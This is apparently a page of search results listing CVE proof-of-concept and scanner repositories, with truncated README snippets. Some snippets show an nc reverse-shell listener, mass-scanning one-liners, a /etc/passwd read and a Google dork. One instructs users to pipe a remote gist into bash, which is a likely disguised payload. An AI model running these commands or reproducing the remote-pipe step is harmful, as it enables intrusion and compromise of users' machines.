116298 matches found
CVE-2020-13942-POC-
CVE-2020-13942 POC + Script de Automatización Pasos Paso 1 : Enumera todos los subdominios objetivo para tu programa de bug bounty favorito Paso 2 : Colócalos en el archivo targets.txt Paso 3 : Ejecuta el Script Paso 4 : Si encuentras un objetivo vulnerable, no olvides mencionarme :...
CVE-2026-30502-OpenKM-6.3.12-Reflected-XSS
🛡️ CVE-2026-30502 — OpenKM v6.3.12 中的反射型 XSS 漏洞 发现并报告者：Dharmendra Kumar — 安全研究员 网络安全 | 渗透测试 | 漏洞研究 | 负责任披露 📌 目录 概述 CVE 详情 受影响产品 漏洞描述 根本原因分析 影响与风险评估 概念验证 PoC 修复与建议 披露时间线 参考资料 关于研究员 🔍 概述 本仓库记录了 CVE-2026-30502 的负责任披露流程，这是 OpenKM v6.3.12 中发现的一个反射型跨站脚本（XSS）漏洞——OpenKM 是一款广泛部署于企业和政府环境中的开源文档管理系统。 该漏洞存在于...
CVE-2024-38856
CVE-2024-38856 Apache Ofbiz RCE 扫描器 描述 此脚本用于扫描 Apache Ofbiz 应用程序中的 CVE-2024-38856 漏洞，该漏洞可能允许远程代码执行。它向 Ofbiz 应用程序中的特定路径发送带有恶意负载的 HTTP POST 请求以利用该漏洞。 功能 使用多种路径扫描目标漏洞 支持多线程处理，加快扫描速度 使用 coloredlogs 提供颜色编码、易于阅读的日志 支持从包含目标列表的文件中读取 前提条件 Python 3.x Python 模块： requests coloredlogs colorama argparse urllib...
CVE-2022-47966_checker
CVE-2022-47966checker 用于查找 ManageEngine CVE-2022-47966 IOC 的快速且简陋的 PowerShell 脚本。该脚本将解析 ME HTTP 访问日志中的请求。如果发现特征性的 SAML 请求，它将尝试解码并提取攻击者的有效载荷。结果写入 C:\aceresponderCVE-2022-47966checker.csv。以管理员身份运行。 公平警告：如果你有一个面向互联网的 ManageEngine 服务器，这些日志不会持续很长时间。没有 IOC 并不意味着你就安全了。检查 C:\Program...
CVE-2023-25157-checker
CVE-2023-25157-checker 一个用 golang 编写的脚本。CVE-2023-25157 的 POC 使用步骤 1. git clone https://github.com/7imbitz/CVE-2023-25157-checker.git 2. cd CVE-2023-25157-checker 3. go run CVE-2023-25157.go 将 替换为目标服务器的 URL。 Google Dork inurl:"/geoserver/ows?service=wfs" 研究 出于研究目的，你可以设置并部署自己的 geoserver 实例。这款 docke...
http-pulse_ssl_vpn.nse
SUMMARY 用于通过特制HTTP资源请求检测Pulse Secure SSL VPN文件泄露的简单NSE脚本。 此漏洞利用读取 /etc/passwd 作为概念验证。 该漏洞影响以下版本：（8.1R15.1、8.2 至 8.2R12.1 之前版本、8.3 至 8.3R7.1 之前版本、9.0 至 9.0R3.4 之前版本）。 INSTALLATION $ git clone https://github.com/r00tpgp/http-pulsesslvpn.nse.git $ cd http-pulsesslvpn.nse/ $ sudo cp...
CVE-2026-59310
CVE-2026-59310 捐赠 通过 PayPal 或扫描下方二维码来支持本项目的维护。 ⚡ 简单用法 仅在安全且经授权的环境中使用本项目，例如： 本地虚拟机 Docker 容器 隔离的实验室环境 经授权的渗透测试环境 示例设置与用法： Follow every dir project 注意： 从其他项目克隆时，你必须运行 curl -fsSL https://gist.githubusercontent.com/HORKimhab/24c89ee9a86a42aac88381334f8bfe48/raw | bash -s -- -y 以清除嵌套目录中的 .git...
F5-BIG-IP-RCE-CVE-2022-1388
CVE-2022-1388 F5 BIG-IP RCE 多线程检测 use： 单个url: python3 CVE-2022-1388.py -u https://xxx.xxx.xxx.xxx 批量多线程: python3 CVE-2022-1388.py -f url.txt 执行命令: python3 CVE-2022-1388.py -u https://xxx.xxx.xxx.xxx -c whoami result:...
CVE-2024-36401
CVE-2024-36401 这是用于检查CVE-2024-36401漏洞的程序。 使用方法 首先，执行以下命令，进入通信监听状态。 nc -lvnp 9000 然后在另一个终端窗口中执行文件。 python CVE-2024-36401.py --target example.com --targetport 8080 --myip 172.26.16.100 --myport 9000 --target 目标的域名或IP地址 --targetport 托管目标服务的端口号 --myip 自己的IP地址 --myport nc监听的端口号 免责声明...
CVE-2023-25157
CVE-2023-25157 这是一个简单的Python脚本，用于查找最新的GeoServer SQL注入漏洞。您可以在主机上使用脚本检查受感染的路径。 安装： 1. git clone https://github.com/0x2458bughunt/CVE-2023-25157/ 2. cd CVE-2023-25157 3. chmod +x geoserver.sh 注意：您应该将所有文件放在同一目录下，如果您想从系统的任何位置使用这些文件，请按照以下步骤操作： 1...
Log4J_checker
Log4Jchecker 用于 Apache CVE-2021-44228 的 Log4J 检测器 log4j-checker.sh 是一个 bash 脚本，它合并了若干检测项...
CVE-2024-32002
CVE-2024-32002 只是基于现有 CVE 利用 CVE-2024-32002 的小脚本 使用方法 首先，在 GitHub 或 GitLab 上创建 2 个空仓库。 然后 git clone 并运行此脚本。 最后：git clone –recursive repo2 以自动触发 RCE。...
CVE-2021-22005
CVE-2021-22005 VMware vCenter RCE CVE-2021-22005 one-liner mass checker cat vmwarecenters.txt | while read S do; do curl --connect-timeout 15 --max-time 30 --silent --insecure --user-agent "vAPI/2.100.0 Java/1.8.0261 Linux; 4.19.160-6.ph3; amd64" -X POST...
CVE-2023-26256
CVE-2023-26255 CVE-2023-26256 POC Usage: python3 CVE-2023-26256.py -h...
CVE-2024-21413
CVE-2024-21413 该 Python 脚本用于利用 CVE-2024-21413，该漏洞被称为 "MonikerLink"。 TryHackMe 房间：MonikerLink 假设 此 PoC 专为实验室环境创建，这意味着服务器需要以特定设置进行配置（例如，为方便起见不支持 TLS 认证）。该漏洞本身是真实存在的，但此处仅作为训练环境使用。由于这是针对特定实验室环境，代码尽可能保持简单以面向特定受众，因此我不会为此添加新功能。如果你在寻找“更完善”的 PoC，建议查看 Xaitax 的版本。 PR / 贡献 基于上述原因，我大概率不会接受 PR。欢迎你 fork...
iconvfix
iconvfix 用于修补 CVE-2024-2961 的 Bash 脚本 目前适用于 Centos7. 无保修, 请勿在生产系统上使用, 这只是一个内部辅助工具 : 用法 tsh ssh username@target sudo 'bash -s' iconvfix.sh...
CVE-2019-19652
CVE-2019-19652 Chevereto 降级攻击 - 1.0.0 - 1.1.4 Free, = 3.13.5 Core. 管理员用户可以指示更新脚本降级到另一个版本而不是升级，从而重新引入之前的缺陷。由于缺少 CSRF 令牌，此攻击还可用于 CSRF 攻击，即管理员用户可能被诱骗执行此操作。 管理员用户可以指示更新脚本下载任意版本，包括旧版本 服务器将返回下载文件的完整文件名，该文件名将在后续请求中使用 GET /update/?action=download&version=3.13.4 HTTP/1.1 Host: 192.168.0.88 User-Agent:...
CVE-2023-49984
CVE-2023-49984 School Fees Management System v1.0 - 跨站脚本（XSS）漏洞，位于 "/management/settings" 的 "name" 字段/参数 描述 ：School Fees Management System v1.0 的 "/management/settings" 组件中存在跨站脚本（XSS）漏洞，允许攻击者通过向 name 参数注入精心构造的有效载荷来执行任意 Web 脚本或 HTML。 受影响的产品版本 ：School Fees Management System v1.0 CVE 作者 ：Geraldo...
CVE-2023-41064
LibWebP漏洞-CVE-2023-41064 用于触发此CVE-2023-41064漏洞的代码长度 这是一个Python脚本，用于创建一个空的WebP（一种图像格式）文件，具有特定的头部结构。该脚本的目的是生成一个可用于测试或教育目的的WebP文件。 注意：此脚本仅供教育目的使用，不得用于恶意或非法用途。 前置要求 确保你的系统满足以下前置要求： 已安装Python 3.x。 已安装WebP软件。（此要求是为了让脚本正确执行）。 使用方法 克隆或下载此仓库到你的系统。 打开终端并导航到crafteando.py文件所在位置。 通过指定输出的WebP文件名来运行脚本： python...